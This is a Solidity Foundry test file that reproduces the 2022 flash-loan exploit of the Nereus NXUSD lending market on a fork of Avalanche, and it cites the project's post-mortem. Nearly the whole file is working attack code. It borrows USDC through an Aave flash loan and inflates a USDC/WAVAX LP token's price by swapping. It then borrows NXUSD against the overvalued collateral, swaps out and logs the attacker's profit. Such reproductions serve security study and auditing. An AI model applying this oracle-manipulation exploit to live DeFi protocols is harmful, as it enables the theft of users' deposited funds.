src/test/2022-09/NXUSD_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @Analysis
8// https://medium.com/nereus-protocol/post-mortem-flash-loan-exploit-in-single-nxusd-market-343fa32f0c6
9// Refer: https://github.com/kedao/exploitDefiLabs/blob/main/src/test/Nxusd_exp.sol
10// Refer: https://dashboard.tenderly.co/tx/ava/0x0ab12913f9232b27b0664cd2d50e482ad6aa896aeb811b53081712f42d54c026
11 
12abstract contract IDegenBox {
13    function setMasterContractApproval(
14        address user,
15        address masterContract,
16        bool approved,
17        uint8 v,
18        bytes32 r,
19        bytes32 s
20    ) public virtual;
21 
22    function masterContractApproved(address masterContract, address user) external view virtual returns (bool);
23}
24 
25interface ICauldronV2 {
26    function updateExchangeRate() external returns (bool, uint256);
27 
28    function cook(
29        uint8[] calldata actions,
30        uint256[] calldata values,
31        bytes[] calldata datas
32    ) external payable returns (uint256, uint256);
33}
34 
35contract ContractTest is Test {
36    ILendingPool aaveLendingPool = ILendingPool(0x794a61358D6845594F94dc1DB02A252b5b4814aD);
37    Uni_Router_V2 Router = Uni_Router_V2(0x60aE616a2155Ee3d9A68541Ba4544862310933d4);
38    Uni_Pair_V2 Pair = Uni_Pair_V2(0xf4003F4efBE8691B60249E6afbD307aBE7758adb);
39    ICurvePool CRVPool1 = ICurvePool(0x001E3BA199B4FF4B5B6e97aCD96daFC0E2e4156e);
40    ICurvePool CRVPool2 = ICurvePool(0x3a43A5851A3e3E0e25A3c1089670269786be1577);
41    IERC20 WAVAX = IERC20(0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7);
42    IERC20 USDC_e = IERC20(0xA7D7079b0FEaD91F3e65f86E8915Cb59c1a4C664);
43    IUSDC USDC = IUSDC(0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E);
44    IERC20 NXUSD = IERC20(0xF14f4CE569cB3679E99d5059909E23B07bd2F387);
45    IDegenBox DegenBox = IDegenBox(0x0B1F9C2211F77Ec3Fa2719671c5646cf6e59B775);
46    ICauldronV2 CauldronV2 = ICauldronV2(0xC0A7a7F141b6A5Bce3EC1B81823c8AFA456B6930);
47    address metaPool = 0x6BF6fc7EaF84174bb7e1610Efd865f0eBD2AA96D;
48    address masterContract = 0xE767C6C3Bf42f550A5A258A379713322B6c4c060;
49    // flashLoan
50    address[] public _assets = [0xB97EF9Ef8734C71904D8002F8b6Bc66Dd9c48a6E]; //usdc
51    uint256[] public _amounts = [51_000_000_000_000];
52    uint256[] public _modes = [0];
53    // borrow
54    uint8[] public actions = [5, 21, 20, 10];
55    uint256[] public values = [0, 0, 0, 0];
56    uint256 borrowAmounts = 998_000 * 1e18;
57    uint256 share = 0;
58 
59    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
60 
61    function setUp() public {
62        cheats.createSelectFork("avalanche", 19_613_451);
63    }
64 
65    function testExploit() public {
66        USDC.approve(address(Router), type(uint256).max);
67        WAVAX.approve(address(Router), type(uint256).max);
68        // AAVE flashloan
69        aaveLendingPool.flashLoan(address(this), _assets, _amounts, _modes, address(this), new bytes(1), 0);
70 
71        emit log_named_uint("After exploit repaid, profit in USDC of attacker:", USDC.balanceOf(address(this)) / 1e6);
72    }
73 
74    function executeOperation(
75        address[] memory assets,
76        uint256[] memory amounts,
77        uint256[] memory premiums,
78        address initiator,
79        bytes memory params
80    ) public returns (bool) {
81        assets;
82        amounts;
83        premiums;
84        params;
85        initiator;
86        // get LP token
87        buyWAVAXAndAddLP();
88        // change LP price
89        address[] memory path = new address[](2);
90        path[0] = address(USDC);
91        path[1] = address(WAVAX);
92        Router.swapExactTokensForTokens(USDC.balanceOf(address(this)), 0, path, address(this), block.timestamp);
93 
94        /*
95         * borrow NXUSD
96        */
97        // set contract apporval
98        NXUSD.approve(address(CRVPool1), type(uint256).max);
99        Pair.approve(address(DegenBox), type(uint256).max);
100        DegenBox.setMasterContractApproval(address(this), masterContract, true, 0, 0, 0);
101        // update rate
102        CauldronV2.updateExchangeRate();
103        // cook function in CauldronV2
104        bytes[] memory datas = new bytes[](4);
105        datas[0] = abi.encode(borrowAmounts, address(this)); // type borrow
106        datas[1] = abi.encode(NXUSD, address(this), borrowAmounts, share); // type withdraw
107        datas[2] = abi.encode(Pair, address(this), 45_330_977_931_305_070, share); // type deposit
108        datas[3] = abi.encode(-2, address(this), false); // Collateral enter market
109        CauldronV2.cook(actions, values, datas);
110 
111        // sell WAVAX`
112        sellWAVAX();
113        // NXUSD -> avCRV -> USDC_e
114        CRVPool1.exchange_underlying(metaPool, 0, 2, 998_000 * 1e18, 950_000 * 1e6);
115        // USDC_e -> USDC
116        USDC_e.approve(address(CRVPool2), type(uint256).max);
117        CRVPool2.exchange(0, 1, 800_000 * 1e6, 700_000 * 1e6);
118        sellUSDC_e();
119        USDC.approve(address(aaveLendingPool), type(uint256).max);
120        return true;
121    }
122 
123    function buyWAVAXAndAddLP() public {
124        address[] memory path = new address[](2);
125        path[0] = address(USDC);
126        path[1] = address(WAVAX);
127        Router.swapExactTokensForTokens(280_000 * 1e6, 0, path, address(this), block.timestamp);
128        Router.addLiquidity(
129            address(USDC),
130            address(WAVAX),
131            260_000 * 1e6,
132            500_000 * 1e18,
133            250_000 * 1e6,
134            0,
135            address(this),
136            block.timestamp
137        );
138    }
139 
140    function sellWAVAX() public {
141        address[] memory path = new address[](2);
142        path[0] = address(WAVAX);
143        path[1] = address(USDC);
144        Router.swapExactTokensForTokens(WAVAX.balanceOf(address(this)), 0, path, address(this), block.timestamp + 60);
145    }
146 
147    function sellUSDC_e() public {
148        address[] memory path = new address[](2);
149        USDC_e.approve(address(Router), type(uint256).max);
150        path[0] = address(USDC_e);
151        path[1] = address(USDC);
152        Router.swapExactTokensForTokens(USDC_e.balanceOf(address(this)), 0, path, address(this), block.timestamp + 60);
153    }
154}